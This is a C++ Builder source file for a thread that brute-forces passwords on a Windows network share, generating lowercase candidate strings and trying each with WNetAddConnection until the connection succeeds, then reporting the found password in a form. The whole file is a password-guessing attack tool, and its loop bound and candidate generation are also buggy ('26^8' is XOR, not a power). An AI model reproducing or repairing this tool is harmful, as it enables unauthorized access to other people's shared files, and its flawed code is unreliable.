passthread.cpp

根据指定的字符范围

//---------------------------------------------------------------------------
#include <vcl.h>
#include <math.h>
#pragma hdrstop

#include "Passthread.h"
#include "PassForm.h"
#include "WinNetwk.h"
#pragma package(smart_init)
//---------------------------------------------------------------------------
//   Important: Methods and properties of objects in VCL can only be
//   used in a method called using Synchronize, for example:
//
//      Synchronize(UpdateCaption);
//
//   where UpdateCaption could look like:
//
//      void __fastcall FintPass::UpdateCaption()
//      {
//        Form1->Caption = "Updated in a thread";
//      }
void __fastcall FintPass::SetError()
{
    Form1->error->Caption = asError;
}
void __fastcall FintPass::Error()
{
    Synchronize(SetError);
}
void __fastcall FintPass::SetValues()
{
    Form1->Pass->Caption  = CurPass;
    Form1->Count->Caption = IntToStr(Count);
}
void __fastcall FintPass::SetSucess()
{
    Form1->Start->Enabled = TRUE;
    Form1->lPass->Caption = "查找成功";
    Form1->Sucess->Caption = CurPass;
}
void __fastcall FintPass::Sucess(void)
{
    Synchronize(SetSucess);
}
void __fastcall FintPass::Set(void)
{
    Synchronize(SetValues);
}
//---------------------------------------------------------------------------
__fastcall FintPass::FintPass(bool CreateSuspended,int PL,AnsiString CN,AnsiString DN)
    : TThread(CreateSuspended)
{
    PassLength = PL;
    CompName = CN;
    Count = 0;
    DrvName = DN;
//    FreeOnTerminate = TRUE;
}
//---------------------------------------------------------------------------
void __fastcall FintPass::FreeThread(void)
{
//    Terminated = TRUE;
}
//---------------------------------------------------------------------------
void __fastcall FintPass::Execute()
{
    //---- Place thread code here ----
    GetPass();
}
//---------------------------------------------------------------------------
void __fastcall FintPass::GetPass(void)
{
    AnsiString Pass;int i,j;
       double f = pow(26.0,8.0);
       for(i=0;i<26^8;i++)
       {
            if ( Terminated )
                break;
        	pass[0] = i%26+'a';
            for(j=1;j<9;j++)
                {
                	pass[j] = i/((__int64)pow(26,j))%26+'a';
                    if(pass[j]=='a')
            			{
                        	pass[j]='\0';
                            break;
                        }
                }

        CurPass = (AnsiString)pass;
        Count = i;
        Set();
        Synchronize(TestPass);
        if(error==NO_ERROR){
	        Sucess();
            break;
        }
        else
            {asError = GetError(error);Error();}
    }
    Sucess();
//    Terminate();
}
void __fastcall FintPass::TestPass()
{
    error = ::WNetAddConnection(CompName.c_str(),pass,DrvName.c_str());
}
//---------------------------------------------------------------------------
char* __fastcall FintPass::GetError(DWORD error)
{
	char msg[255];
    switch(error){
		case ERROR_ACCESS_DENIED: return "Access is denied.";
		case ERROR_ALREADY_ASSIGNED: return "The device specified in the lpLocalName parameter is already connected.";
		case ERROR_BAD_DEV_TYPE: return "The device type and the resource type do not match.";
		case ERROR_BAD_DEVICE: return "	The value specified in lpLocalName is invalid.";
		case ERROR_BAD_NET_NAME: return "The value specified in the lpRemoteName parameter is not valid or cannot be located.";
		case ERROR_BAD_PROFILE: return "The user profile is in an incorrect format.";
		case ERROR_CANNOT_OPEN_PROFILE: return "The system is unable to open the user profile to process persistent connections.";
		case ERROR_DEVICE_ALREADY_REMEMBERED: return "An entry for the device specified in lpLocalName is already in the user profile.";
		case ERROR_EXTENDED_ERROR: return "A network-specific error occurred. To get a description of the error, use the WNetGetLastError function.";
		case ERROR_INVALID_PASSWORD: return "The specified password is invalid..";
		case ERROR_NO_NET_OR_BAD_PATH: return "The operation cannot be performed because either a network component is not started or the specified name cannot be used.";
		case ERROR_NO_NETWORK:return "The network isNOT present";
        default:return "Not known error!";
	}
}